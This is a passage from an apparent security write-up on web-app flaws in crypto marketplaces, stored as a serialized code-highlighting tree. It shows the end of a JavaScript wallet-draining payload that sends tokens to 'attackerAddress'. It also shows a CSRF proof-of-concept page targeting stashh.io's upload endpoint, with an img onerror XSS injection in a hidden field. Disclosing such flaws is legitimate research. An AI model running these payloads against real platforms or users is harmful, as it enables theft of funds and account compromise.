Web3",{"type":23,"tag":504,"props":30918,"children":30919},{"style":523},[30920],{"type":28,"value":526},{"type":23,"tag":504,"props":30922,"children":30923},{"style":529},[30924],{"type":28,"value":30925},"window",{"type":23,"tag":504,"props":30927,"children":30928},{"style":523},[30929],{"type":28,"value":320},{"type":23,"tag":504,"props":30931,"children":30932},{"style":529},[30933],{"type":28,"value":30395},{"type":23,"tag":504,"props":30935,"children":30936},{"style":523},[30937],{"type":28,"value":630},{"type":23,"tag":504,"props":30939,"children":30940},{"class":506,"line":1668},[30941],{"type":23,"tag":504,"props":30942,"children":30943},{"emptyLinePlaceholder":16},[30944],{"type":28,"value":1038},{"type":23,"tag":504,"props":30946,"children":30947},{"class":506,"line":1682},[30948,30952,30957,30961,30965,30969,30973,30978,30982,30987,30991,30996,31000,31005],{"type":23,"tag":504,"props":30949,"children":30950},{"style":511},[30951],{"type":28,"value":30525},{"type":23,"tag":504,"props":30953,"children":30954},{"style":529},[30955],{"type":28,"value":30956}," tokenContract",{"type":23,"tag":504,"props":30958,"children":30959},{"style":598},[30960],{"type":28,"value":648},{"type":23,"tag":504,"props":30962,"children":30963},{"style":511},[30964],{"type":28,"value":30911},{"type":23,"tag":504,"props":30966,"children":30967},{"style":529},[30968],{"type":28,"value":30902},{"type":23,"tag":504,"props":30970,"children":30971},{"style":523},[30972],{"type":28,"value":320},{"type":23,"tag":504,"props":30974,"children":30975},{"style":529},[30976],{"type":28,"value":30977},"eth",{"type":23,"tag":504,"props":30979,"children":30980},{"style":523},[30981],{"type":28,"value":320},{"type":23,"tag":504,"props":30983,"children":30984},{"style":517},[30985],{"type":28,"value":30986},"Contract",{"type":23,"tag":504,"props":30988,"children":30989},{"style":523},[30990],{"type":28,"value":526},{"type":23,"tag":504,"props":30992,"children":30993},{"style":529},[30994],{"type":28,"value":30995},"tokenAbi",{"type":23,"tag":504,"props":30997,"children":30998},{"style":523},[30999],{"type":28,"value":576},{"type":23,"tag":504,"props":31001,"children":31002},{"style":529},[31003],{"type":28,"value":31004},"contractAddress",{"type":23,"tag":504,"props":31006,"children":31007},{"style":523},[31008],{"type":28,"value":630},{"type":23,"tag":504,"props":31010,"children":31011},{"class":506,"line":1691},[31012],{"type":23,"tag":504,"props":31013,"children":31014},{"emptyLinePlaceholder":16},[31015],{"type":28,"value":1038},{"type":23,"tag":504,"props":31017,"children":31018},{"class":506,"line":1699},[31019,31023,31028,31032],{"type":23,"tag":504,"props":31020,"children":31021},{"style":511},[31022],{"type":28,"value":30525},{"type":23,"tag":504,"props":31024,"children":31025},{"style":529},[31026],{"type":28,"value":31027}," transactionObject",{"type":23,"tag":504,"props":31029,"children":31030},{"style":598},[31031],{"type":28,"value":648},{"type":23,"tag":504,"props":31033,"children":31034},{"style":523},[31035],{"type":28,"value":552},{"type":23,"tag":504,"props":31037,"children":31038},{"class":506,"line":1708},[31039,31044,31048],{"type":23,"tag":504,"props":31040,"children":31041},{"style":529},[31042],{"type":28,"value":31043},"        from:",{"type":23,"tag":504,"props":31045,"children":31046},{"style":529},[31047],{"type":28,"value":30530},{"type":23,"tag":504,"props":31049,"children":31050},{"style":523},[31051],{"type":28,"value":2484},{"type":23,"tag":504,"props":31053,"children":31054},{"class":506,"line":1717},[31055,31060,31064],{"type":23,"tag":504,"props":31056,"children":31057},{"style":529},[31058],{"type":28,"value":31059},"        to:",{"type":23,"tag":504,"props":31061,"children":31062},{"style":529},[31063],{"type":28,"value":30589},{"type":23,"tag":504,"props":31065,"children":31066},{"style":523},[31067],{"type":28,"value":2484},{"type":23,"tag":504,"props":31069,"children":31070},{"class":506,"line":1725},[31071,31076,31080,31084],{"type":23,"tag":504,"props":31072,"children":31073},{"style":529},[31074],{"type":28,"value":31075},"        data:",{"type":23,"tag":504,"props":31077,"children":31078},{"style":529},[31079],{"type":28,"value":30956},{"type":23,"tag":504,"props":31081,"children":31082},{"style":523},[31083],{"type":28,"value":320},{"type":23,"tag":504,"props":31085,"children":31086},{"style":529},[31087],{"type":28,"value":31088},"methods\n",{"type":23,"tag":504,"props":31090,"children":31091},{"class":506,"line":1757},[31092,31097,31102,31106,31111,31115,31119,31123,31128,31132,31137,31141,31146,31150,31155],{"type":23,"tag":504,"props":31093,"children":31094},{"style":523},[31095],{"type":28,"value":31096},"          .",{"type":23,"tag":504,"props":31098,"children":31099},{"style":517},[31100],{"type":28,"value":31101},"transfer",{"type":23,"tag":504,"props":31103,"children":31104},{"style":523},[31105],{"type":28,"value":526},{"type":23,"tag":504,"props":31107,"children":31108},{"style":529},[31109],{"type":28,"value":31110},"attackerAddress",{"type":23,"tag":504,"props":31112,"children":31113},{"style":523},[31114],{"type":28,"value":576},{"type":23,"tag":504,"props":31116,"children":31117},{"style":529},[31118],{"type":28,"value":18},{"type":23,"tag":504,"props":31120,"children":31121},{"style":523},[31122],{"type":28,"value":320},{"type":23,"tag":504,"props":31124,"children":31125},{"style":529},[31126],{"type":28,"value":31127},"utils",{"type":23,"tag":504,"props":31129,"children":31130},{"style":523},[31131],{"type":28,"value":320},{"type":23,"tag":504,"props":31133,"children":31134},{"style":517},[31135],{"type":28,"value":31136},"toWei",{"type":23,"tag":504,"props":31138,"children":31139},{"style":523},[31140],{"type":28,"value":526},{"type":23,"tag":504,"props":31142,"children":31143},{"style":622},[31144],{"type":28,"value":31145},"'100000000'",{"type":23,"tag":504,"props":31147,"children":31148},{"style":523},[31149],{"type":28,"value":576},{"type":23,"tag":504,"props":31151,"children":31152},{"style":622},[31153],{"type":28,"value":31154},"'ether'",{"type":23,"tag":504,"props":31156,"children":31157},{"style":523},[31158],{"type":28,"value":18694},{"type":23,"tag":504,"props":31160,"children":31161},{"class":506,"line":1765},[31162,31166,31171],{"type":23,"tag":504,"props":31163,"children":31164},{"style":523},[31165],{"type":28,"value":31096},{"type":23,"tag":504,"props":31167,"children":31168},{"style":517},[31169],{"type":28,"value":31170},"encodeABI",{"type":23,"tag":504,"props":31172,"children":31173},{"style":523},[31174],{"type":28,"value":2467},{"type":23,"tag":504,"props":31176,"children":31177},{"class":506,"line":22762},[31178],{"type":23,"tag":504,"props":31179,"children":31180},{"style":523},[31181],{"type":28,"value":7904},{"type":23,"tag":504,"props":31183,"children":31184},{"class":506,"line":22799},[31185],{"type":23,"tag":504,"props":31186,"children":31187},{"emptyLinePlaceholder":16},[31188],{"type":28,"value":1038},{"type":23,"tag":504,"props":31190,"children":31191},{"class":506,"line":22812},[31192,31197,31201,31205,31209,31214,31218,31223],{"type":23,"tag":504,"props":31193,"children":31194},{"style":529},[31195],{"type":28,"value":31196},"      web3",{"type":23,"tag":504,"props":31198,"children":31199},{"style":523},[31200],{"type":28,"value":320},{"type":23,"tag":504,"props":31202,"children":31203},{"style":529},[31204],{"type":28,"value":30977},{"type":23,"tag":504,"props":31206,"children":31207},{"style":523},[31208],{"type":28,"value":320},{"type":23,"tag":504,"props":31210,"children":31211},{"style":517},[31212],{"type":28,"value":31213},"sendTransaction",{"type":23,"tag":504,"props":31215,"children":31216},{"style":523},[31217],{"type":28,"value":526},{"type":23,"tag":504,"props":31219,"children":31220},{"style":529},[31221],{"type":28,"value":31222},"transactionObject",{"type":23,"tag":504,"props":31224,"children":31225},{"style":523},[31226],{"type":28,"value":630},{"type":23,"tag":504,"props":31228,"children":31229},{"class":506,"line":22825},[31230],{"type":23,"tag":504,"props":31231,"children":31232},{"style":523},[31233],{"type":28,"value":31234},"    });\n",{"type":23,"tag":504,"props":31236,"children":31237},{"class":506,"line":22838},[31238],{"type":23,"tag":504,"props":31239,"children":31240},{"style":523},[31241],{"type":28,"value":4855},{"type":23,"tag":504,"props":31243,"children":31244},{"class":506,"line":22892},[31245],{"type":23,"tag":504,"props":31246,"children":31247},{"style":523},[31248],{"type":28,"value":884},{"type":23,"tag":504,"props":31250,"children":31251},{"class":506,"line":22901},[31252],{"type":23,"tag":504,"props":31253,"children":31254},{"emptyLinePlaceholder":16},[31255],{"type":28,"value":1038},{"type":23,"tag":504,"props":31257,"children":31259},{"class":506,"line":31258},51,[31260,31264,31268,31273],{"type":23,"tag":504,"props":31261,"children":31262},{"style":511},[31263],{"type":28,"value":18465},{"type":23,"tag":504,"props":31265,"children":31266},{"style":523},[31267],{"type":28,"value":526},{"type":23,"tag":504,"props":31269,"children":31270},{"style":622},[31271],{"type":28,"value":31272},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":23,"tag":504,"props":31274,"children":31275},{"style":523},[31276],{"type":28,"value":630},{"type":23,"tag":504,"props":31278,"children":31280},{"class":506,"line":31279},52,[31281,31286,31290,31294,31298,31303],{"type":23,"tag":504,"props":31282,"children":31283},{"style":517},[31284],{"type":28,"value":31285},"setTimeout",{"type":23,"tag":504,"props":31287,"children":31288},{"style":523},[31289],{"type":28,"value":526},{"type":23,"tag":504,"props":31291,"children":31292},{"style":529},[31293],{"type":28,"value":30471},{"type":23,"tag":504,"props":31295,"children":31296},{"style":523},[31297],{"type":28,"value":576},{"type":23,"tag":504,"props":31299,"children":31300},{"style":1440},[31301],{"type":28,"value":31302},"1e3",{"type":23,"tag":504,"props":31304,"children":31305},{"style":523},[31306],{"type":28,"value":630},{"type":23,"tag":24,"props":31308,"children":31309},{},[31310,31315],{"type":23,"tag":296,"props":31311,"children":31312},{},[31313],{"type":28,"value":31314},"CSRF & XSS",{"type":28,"value":31316},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":23,"tag":24,"props":31318,"children":31319},{},[31320,31322,31327],{"type":28,"value":31321},"Our attention was drawn to ",{"type":23,"tag":92,"props":31323,"children":31325},{"href":30261,"rel":31324},[96],[31326],{"type":28,"value":30265},{"type":28,"value":31328},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":23,"tag":24,"props":31330,"children":31331},{},[31332],{"type":23,"tag":126,"props":31333,"children":31335},{"alt":7,"src":31334},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":23,"tag":24,"props":31337,"children":31338},{},[31339],{"type":28,"value":31340},"and here there is the code:",{"type":23,"tag":494,"props":31342,"children":31344},{"className":496,"code":31343,"language":498,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[31345],{"type":23,"tag":56,"props":31346,"children":31347},{"__ignoreMap":7},[31348,31365,31382,31416,31502,31559,31758,31799,31815,31831,31838,31853,31860,31872,31930,31937,32000,32029,32067,32074,32112,32125,32132,32147],{"type":23,"tag":504,"props":31349,"children":31350},{"class":506,"line":507},[31351,31356,31361],{"type":23,"tag":504,"props":31352,"children":31354},{"style":31353},"--shiki-default:#808080",[31355],{"type":28,"value":4789},{"type":23,"tag":504,"props":31357,"children":31358},{"style":511},[31359],{"type":28,"value":31360},"html",{"type":23,"tag":504,"props":31362,"children":31363},{"style":31353},[31364],{"type":28,"value":4976},{"type":23,"tag":504,"props":31366,"children":31367},{"class":506,"line":540},[31368,31373,31378],{"type":23,"tag":504,"props":31369,"children":31370},{"style":31353},[31371],{"type":28,"value":31372},"  \u003C",{"type":23,"tag":504,"props":31374,"children":31375},{"style":511},[31376],{"type":28,"value":31377},"body",{"type":23,"tag":504,"props":31379,"children":31380},{"style":31353},[31381],{"type":28,"value":4976},{"type":23,"tag":504,"props":31383,"children":31384},{"class":506,"line":555},[31385,31389,31394,31398,31403,31408,31412],{"type":23,"tag":504,"props":31386,"children":31387},{"style":31353},[31388],{"type":28,"value":31372},{"type":23,"tag":504,"props":31390,"children":31391},{"style":511},[31392],{"type":28,"value":31393},"script",{"type":23,"tag":504,"props":31395,"children":31396},{"style":31353},[31397],{"type":28,"value":9443},{"type":23,"tag":504,"props":31399,"children":31400},{"style":523},[31401],{"type":28,"value":31402},"history.pushState('', '', '/')",{"type":23,"tag":504,"props":31404,"children":31405},{"style":31353},[31406],{"type":28,"value":31407},"\u003C/",{"type":23,"tag":504,"props":31409,"children":31410},{"style":511},[31411],{"type":28,"value":31393},{"type":23,"tag":504,"props":31413,"children":31414},{"style":31353},[31415],{"type":28,"value":4976},{"type":23,"tag":504,"props":31417,"children":31418},{"class":506,"line":633},[31419,31424,31429,31434,31438,31443,31448,31452,31457,31461,31465,31470,31475,31479,31484,31489,31493,31498],{"type":23,"tag":504,"props":31420,"children":31421},{"style":31353},[31422],{"type":28,"value":31423},"    \u003C",{"type":23,"tag":504,"props":31425,"children":31426},{"style":511},[31427],{"type":28,"value":31428},"form",{"type":23,"tag":504,"props":31430,"children":31431},{"style":529},[31432],{"type":28,"value":31433}," id",{"type":23,"tag":504,"props":31435,"children":31436},{"style":598},[31437],{"type":28,"value":601},{"type":23,"tag":504,"props":31439,"children":31440},{"style":622},[31441],{"type":28,"value":31442},"\"form123\"",{"type":23,"tag":504,"props":31444,"children":31445},{"style":529},[31446],{"type":28,"value":31447}," action",{"type":23,"tag":504,"props":31449,"children":31450},{"style":598},[31451],{"type":28,"value":601},{"type":23,"tag":504,"props":31453,"children":31454},{"style":622},[31455],{"type":28,"value":31456},"\"https://stashh.io/upload_asset\"",{"type":23,"tag":504,"props":31458,"children":31459},{"style":529},[31460],{"type":28,"value":16089},{"type":23,"tag":504,"props":31462,"children":31463},{"style":598},[31464],{"type":28,"value":601},{"type":23,"tag":504,"props":31466,"children":31467},{"style":622},[31468],{"type":28,"value":31469},"\"POST\"",{"type":23,"tag":504,"props":31471,"children":31472},{"style":529},[31473],{"type":28,"value":31474}," enctype",{"type":23,"tag":504,"props":31476,"children":31477},{"style":598},[31478],{"type":28,"value":601},{"type":23,"tag":504,"props":31480,"children":31481},{"style":622},[31482],{"type":28,"value":31483},"\"multipart/form-data\"",{"type":23,"tag":504,"props":31485,"children":31486},{"style":529},[31487],{"type":28,"value":31488}," value",{"type":23,"tag":504,"props":31490,"children":31491},{"style":598},[31492],{"type":28,"value":601},{"type":23,"tag":504,"props":31494,"children":31495},{"style":622},[31496],{"type":28,"value":31497},"\"asd\"",{"type":23,"tag":504,"props":31499,"children":31500},{"style":31353},[31501],{"type":28,"value":4976},{"type":23,"tag":504,"props":31503,"children":31504},{"class":506,"line":687},[31505,31510,31514,31519,31523,31528,31533,31537,31542,31546,31550,31555],{"type":23,"tag":504,"props":31506,"children":31507},{"style":31353},[31508],{"type":28,"value":31509},"     \u003C",{"type":23,"tag":504,"props":31511,"children":31512},{"style":511},[31513],{"type":28,"value":7350},{"type":23,"tag":504,"props":31515,"children":31516},{"style":529},[31517],{"type":28,"value":31518}," type",{"type":23,"tag":504,"props":31520,"children":31521},{"style":598},[31522],{"type":28,"value":601},{"type":23,"tag":504,"props":31524,"children":31525},{"style":622},[31526],{"type":28,"value":31527},"\"file\"",{"type":23,"tag":504,"props":31529,"children":31530},{"style":529},[31531],{"type":28,"value":31532}," name",{"type":23,"tag":504,"props":31534,"children":31535},{"style":598},[31536],{"type":28,"value":601},{"type":23,"tag":504,"props":31538,"children":31539},{"style":622},[31540],{"type":28,"value":31541},"\"data\"",{"type":23,"tag":504,"props":31543,"children":31544},{"style":529},[31545],{"type":28,"value":31433},{"type":23,"tag":504,"props":31547,"children":31548},{"style":598},[31549],{"type":28,"value":601},{"type":23,"tag":504,"props":31551,"children":31552},{"style":622},[31553],{"type":28,"value":31554},"\"file123\"",{"type":23,"tag":504,"props":31556,"children":31557},{"style":31353},[31558],{"type":28,"value":4976},{"type":23,"tag":504,"props":31560,"children":31561},{"class":506,"line":736},[31562,31567,31571,31575,31579,31584,31588,31592,31597,31601,31605,31609,31614,31619,31624,31629,31634,31638,31643,31648,31653,31657,31662,31667,31671,31676,31681,31686,31691,31696,31701,31706,31710,31715,31720,31725,31730,31735,31739,31744,31749,31753],{"type":23,"tag":504,"props":31563,"children":31564},{"style":31353},[31565],{"type":28,"value":31566},"      \u003C",{"type":23,"tag":504,"props":31568,"children":31569},{"style":511},[31570],{"type":28,"value":7350},{"type":23,"tag":504,"props":31572,"children":31573},{"style":529},[31574],{"type":28,"value":31518},{"type":23,"tag":504,"props":31576,"children":31577},{"style":598},[31578],{"type":28,"value":601},{"type":23,"tag":504,"props":31580,"children":31581},{"style":622},[31582],{"type":28,"value":31583},"\"hidden\"",{"type":23,"tag":504,"props":31585,"children":31586},{"style":529},[31587],{"type":28,"value":31532},{"type":23,"tag":504,"props":31589,"children":31590},{"style":598},[31591],{"type":28,"value":601},{"type":23,"tag":504,"props":31593,"children":31594},{"style":622},[31595],{"type":28,"value":31596},"\"config\"",{"type":23,"tag":504,"props":31598,"children":31599},{"style":529},[31600],{"type":28,"value":31488},{"type":23,"tag":504,"props":31602,"children":31603},{"style":598},[31604],{"type":28,"value":601},{"type":23,"tag":504,"props":31606,"children":31607},{"style":622},[31608],{"type":28,"value":1268},{"type":23,"tag":504,"props":31610,"children":31611},{"style":511},[31612],{"type":28,"value":31613},"{"",{"type":23,"tag":504,"props":31615,"children":31616},{"style":622},[31617],{"type":28,"value":31618},"address",{"type":23,"tag":504,"props":31620,"children":31621},{"style":511},[31622],{"type":28,"value":31623},"":"",{"type":23,"tag":504,"props":31625,"children":31626},{"style":622},[31627],{"type":28,"value":31628},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":23,"tag":504,"props":31630,"children":31631},{"style":511},[31632],{"type":28,"value":31633},"<",{"type":23,"tag":504,"props":31635,"children":31636},{"style":622},[31637],{"type":28,"value":126},{"type":23,"tag":504,"props":31639,"children":31640},{"style":511},[31641],{"type":28,"value":31642},"/",{"type":23,"tag":504,"props":31644,"children":31645},{"style":622},[31646],{"type":28,"value":31647},"src",{"type":23,"tag":504,"props":31649,"children":31650},{"style":511},[31651],{"type":28,"value":31652},"=",{"type":23,"tag":504,"props":31654,"children":31655},{"style":622},[31656],{"type":28,"value":18257},{"type":23,"tag":504,"props":31658,"children":31659},{"style":511},[31660],{"type":28,"value":31661}," ",{"type":23,"tag":504,"props":31663,"children":31664},{"style":622},[31665],{"type":28,"value":31666},"onerror",{"type":23,"tag":504,"props":31668,"children":31669},{"style":511},[31670],{"type":28,"value":31652},{"type":23,"tag":504,"props":31672,"children":31673},{"style":622},[31674],{"type":28,"value":31675},"alert",{"type":23,"tag":504,"props":31677,"children":31678},{"style":511},[31679],{"type":28,"value":31680},"(",{"type":23,"tag":504,"props":31682,"children":31683},{"style":622},[31684],{"type":28,"value":31685},"document",{"type":23,"tag":504,"props":31687,"children":31688},{"style":511},[31689],{"type":28,"value":31690},".",{"type":23,"tag":504,"props":31692,"children":31693},{"style":622},[31694],{"type":28,"value":31695},"domain",{"type":23,"tag":504,"props":31697,"children":31698},{"style":511},[31699],{"type":28,"value":31700},")>","",{"type":23,"tag":504,"props":31702,"children":31703},{"style":622},[31704],{"type":28,"value":31705},"to",{"type":23,"tag":504,"props":31707,"children":31708},{"style":511},[31709],{"type":28,"value":31623},{"type":23,"tag":504,"props":31711,"children":31712},{"style":622},[31713],{"type":28,"value":31714},"profile",{"type":23,"tag":504,"props":31716,"children":31717},{"style":511},[31718],{"type":28,"value":31719},"-",{"type":23,"tag":504,"props":31721,"children":31722},{"style":622},[31723],{"type":28,"value":31724},"assets",{"type":23,"tag":504,"props":31726,"children":31727},{"style":511},[31728],{"type":28,"value":31729},"","",{"type":23,"tag":504,"props":31731,"children":31732},{"style":622},[31733],{"type":28,"value":31734},"type",{"type":23,"tag":504,"props":31736,"children":31737},{"style":511},[31738],{"type":28,"value":31623},{"type":23,"tag":504,"props":31740,"children":31741},{"style":622},[31742],{"type":28,"value":31743},"icon",{"type":23,"tag":504,"props":31745,"children":31746},{"style":511},[31747],{"type":28,"value":31748},""}",{"type":23,"tag":504,"props":31750,"children":31751},{"style":622},[31752],{"type":28,"value":1268},{"type":23,"tag":504,"props":31754,"children":31755},{"style":31353},[31756],{"type":28,"value":31757}," />\n",{"type":23,"tag":504,"props":31759,"children":31760},{"class":506,"line":785},[31761,31765,31769,31773,31777,31782,31786,31790,31795],{"type":23,"tag":504,"props":31762,"children":31763},{"style":31353},[31764],{"type":28,"value":31566},{"type":23,"tag":504,"props":31766,"children":31767},{"style":511},[31768],{"type":28,"value":7350},{"type":23,"tag":504,"props":31770,"children":31771},{"style":529},[31772],{"type":28,"value":31518},{"type":23,"tag":504,"props":31774,"children":31775},{"style":598},[31776],{"type":28,"value":601},{"type":23,"tag":504,"props":31778,"children":31779},{"style":622},[31780],{"type":28,"value":31781},"\"submit\"",{"type":23,"tag":504,"props":31783,"children":31784},{"style":529},[31785],{"type":28,"value":31488},{"type":23,"tag":504,"props":31787,"children":31788},{"style":598},[31789],{"type":28,"value":601},{"type":23,"tag":504,"props":31791,"children":31792},{"style":622},[31793],{"type":28,"value":31794},"\"Submit request\"",{"type":23,"tag":504,"props":31796,"children":31797},{"style":31353},[31798],{"type":28,"value":31757},{"type":23,"tag":504,"props":31800,"children":31801},{"class":506,"line":813},[31802,31807,31811],{"type":23,"tag":504,"props":31803,"children":31804},{"style":31353},[31805],{"type":28,"value":31806},"    \u003C/",{"type":23,"tag":504,"props":31808,"children":31809},{"style":511},[31810],{"type":28,"value":31428},{"type":23,"tag":504,"props":31812,"children":31813},{"style":31353},[31814],{"type":28,"value":4976},{"type":23,"tag":504,"props":31816,"children":31817},{"class":506,"line":851},[31818,31823,31827],{"type":23,"tag":504,"props":31819,"children":31820},{"style":31353},[31821],{"type":28,"value":31822},"  \u003C/",{"type":23,"tag":504,"props":31824,"children":31825},{"style":511},[31826],{"type":28,"value":31377},{"type":23,"tag":504,"props":31828,"children":31829},{"style":31353},[31830],{"type":28,"value":4976},{"type":23,"tag":504,"props":31832,"children":31833},{"class":506,"line":869},[31834],{"type":23,"tag":504,"props":31835,"children":31836},{"emptyLinePlaceholder":16},[31837],{"type":28,"value":1038},{"type":23,"tag":504,"props":31839,"children":31840},{"class":506,"line":878},[31841,31845,31849],{"type":23,"tag":504,"props":31842,"children":31843},{"style":31353},[31844],{"type":28,"value":31372},{"type":23,"tag":504,"props":31846,"children":31847},{"style":511},[31848],{"type":28,"value":31393},{"type":23,"tag":504,"props":31850,"children":31851},{"style":31353},[31852],{"type":28,"value":4976},{"type":23,"tag":504,"props":31854,"children":31855},{"class":506,"line":1221},[31856],{"type":23,"tag":504,"props":31857,"children":31858},{"emptyLinePlaceholder":16},[31859],{"type":28,"value":1038},{"type":23,"tag":504,"props":31861,"children":31862},{"class":506,"line":1276},[31863,31868],{"type":23,"tag":504,"props":31864,"children":31865},{"style":523},[31866],{"type":28,"value":31867},"    (async ()=>",{"type":23,"tag":504,"props":31869,"children":31870},{"style":511},[31871],{"type":28,"value":9862},{"type":23,"tag":504,"props":31873,"children":31874},{"class":506,"line":1285},[31875,31879,31884,31889,31894,31898,31902,31907,31911,31916,31921,31926],{"type":23,"tag":504,"props":31876,"children":31877},{"style":529},[31878],{"type":28,"value":561},{"type":23,"tag":504,"props":31880,"children":31881},{"style":529},[31882],{"type":28,"value":31883}," blob",{"type":23,"tag":504,"props":31885,"children":31886},{"style":598},[31887],{"type":28,"value":31888}," = ",{"type":23,"tag":504,"props":31890,"children":31891},{"style":544},[31892],{"type":28,"value":31893},"await",{"type":23,"tag":504,"props":31895,"children":31896},{"style":598},[31897],{"type":28,"value":801},{"type":23,"tag":504,"props":31899,"children":31900},{"style":544},[31901],{"type":28,"value":31893},{"type":23,"tag":504,"props":31903,"children":31904},{"style":517},[31905],{"type":28,"value":31906}," fetch",{"type":23,"tag":504,"props":31908,"children":31909},{"style":598},[31910],{"type":28,"value":526},{"type":23,"tag":504,"props":31912,"children":31913},{"style":622},[31914],{"type":28,"value":31915},"\"/sapo.png\"",{"type":23,"tag":504,"props":31917,"children":31918},{"style":598},[31919],{"type":28,"value":31920},")).",{"type":23,"tag":504,"props":31922,"children":31923},{"style":517},[31924],{"type":28,"value":31925},"blob",{"type":23,"tag":504,"props":31927,"children":31928},{"style":598},[31929],{"type":28,"value":1156},{"type":23,"tag":504,"props":31931,"children":31932},{"class":506,"line":1294},[31933],{"type":23,"tag":504,"props":31934,"children":31935},{"emptyLinePlaceholder":16},[31936],{"type":28,"value":1038},{"type":23,"tag":504,"props":31938,"children":31939},{"class":506,"line":1302},[31940,31944,31949,31953,31957,31962,31967,31971,31975,31980,31985,31990,31995],{"type":23,"tag":504,"props":31941,"children":31942},{"style":529},[31943],{"type":28,"value":2041},{"type":23,"tag":504,"props":31945,"children":31946},{"style":529},[31947],{"type":28,"value":31948}," f",{"type":23,"tag":504,"props":31950,"children":31951},{"style":598},[31952],{"type":28,"value":31888},{"type":23,"tag":504,"props":31954,"children":31955},{"style":511},[31956],{"type":28,"value":14102},{"type":23,"tag":504,"props":31958,"children":31959},{"style":517},[31960],{"type":28,"value":31961}," File",{"type":23,"tag":504,"props":31963,"children":31964},{"style":598},[31965],{"type":28,"value":31966},"([",{"type":23,"tag":504,"props":31968,"children":31969},{"style":529},[31970],{"type":28,"value":31925},{"type":23,"tag":504,"props":31972,"children":31973},{"style":598},[31974],{"type":28,"value":22041},{"type":23,"tag":504,"props":31976,"children":31977},{"style":622},[31978],{"type":28,"value":31979},"'sapo.png'",{"type":23,"tag":504,"props":31981,"children":31982},{"style":598},[31983],{"type":28,"value":31984},", {",{"type":23,"tag":504,"props":31986,"children":31987},{"style":529},[31988],{"type":28,"value":31989},"type:",{"type":23,"tag":504,"props":31991,"children":31992},{"style":622},[31993],{"type":28,"value":31994}," 'image/png'",{"type":23,"tag":504,"props":31996,"children":31997},{"style":598},[31998],{"type":28,"value":31999},"})\n",{"type":23,"tag":504,"props":32001,"children":32002},{"class":506,"line":1311},[32003,32007,32012,32016,32020,32025],{"type":23,"tag":504,"props":32004,"children":32005},{"style":529},[32006],{"type":28,"value":561},{"type":23,"tag":504,"props":32008,"children":32009},{"style":529},[32010],{"type":28,"value":32011}," dataTransfer",{"type":23,"tag":504,"props":32013,"children":32014},{"style":598},[32015],{"type":28,"value":31888},{"type":23,"tag":504,"props":32017,"children":32018},{"style":511},[32019],{"type":28,"value":14102},{"type":23,"tag":504,"props":32021,"children":32022},{"style":517},[32023],{"type":28,"value":32024}," DataTransfer",{"type":23,"tag":504,"props":32026,"children":32027},{"style":598},[32028],{"type":28,"value":2647},{"type":23,"tag":504,"props":32030,"children":32031},{"class":506,"line":1334},[32032,32037,32041,32046,32050,32054,32058,32063],{"type":23,"tag":504,"props":32033,"children":32034},{"style":529},[32035],{"type":28,"value":32036},"        dataTransfer",{"type":23,"tag":504,"props":32038,"children":32039},{"style":598},[32040],{"type":28,"value":320},{"type":23,"tag":504,"props":32042,"children":32043},{"style":529},[32044],{"type":28,"value":32045},"items",{"type":23,"tag":504,"props":32047,"children":32048},{"style":598},[32049],{"type":28,"value":320},{"type":23,"tag":504,"props":32051,"children":32052},{"style":517},[32053],{"type":28,"value":8618},{"type":23,"tag":504,"props":32055,"children":32056},{"style":598},[32057],{"type":28,"value":526},{"type":23,"tag":504,"props":32059,"children":32060},{"style":529},[32061],{"type":28,"value":32062},"f",{"type":23,"tag":504,"props":32064,"children":32065},{"style":598},[32066],{"type":28,"value":630},{"type":23,"tag":504,"props":32068,"children":32069},{"class":506,"line":1370},[32070],{"type":23,"tag":504,"props":32071,"children":32072},{"emptyLinePlaceholder":16},[32073],{"type":28,"value":1038},{"type":23,"tag":504,"props":32075,"children":32076},{"class":506,"line":1384},[32077,32082,32086,32091,32095,32100,32104,32108],{"type":23,"tag":504,"props":32078,"children":32079},{"style":529},[32080],{"type":28,"value":32081},"        file123",{"type":23,"tag":504,"props":32083,"children":32084},{"style":598},[32085],{"type":28,"value":320},{"type":23,"tag":504,"props":32087,"children":32088},{"style":529},[32089],{"type":28,"value":32090},"files",{"type":23,"tag":504,"props":32092,"children":32093},{"style":598},[32094],{"type":28,"value":31888},{"type":23,"tag":504,"props":32096,"children":32097},{"style":529},[32098],{"type":28,"value":32099},"dataTransfer",{"type":23,"tag":504,"props":32101,"children":32102},{"style":598},[32103],{"type":28,"value":320},{"type":23,"tag":504,"props":32105,"children":32106},{"style":529},[32107],{"type":28,"value":32090},{"type":23,"tag":504,"props":32109,"children":32110},{"style":598},[32111],{"type":28,"value":866},{"type":23,"tag":504,"props":32113,"children":32114},{"class":506,"line":1392},[32115,32120],{"type":23,"tag":504,"props":32116,"children":32117},{"style":511},[32118],{"type":28,"value":32119},"    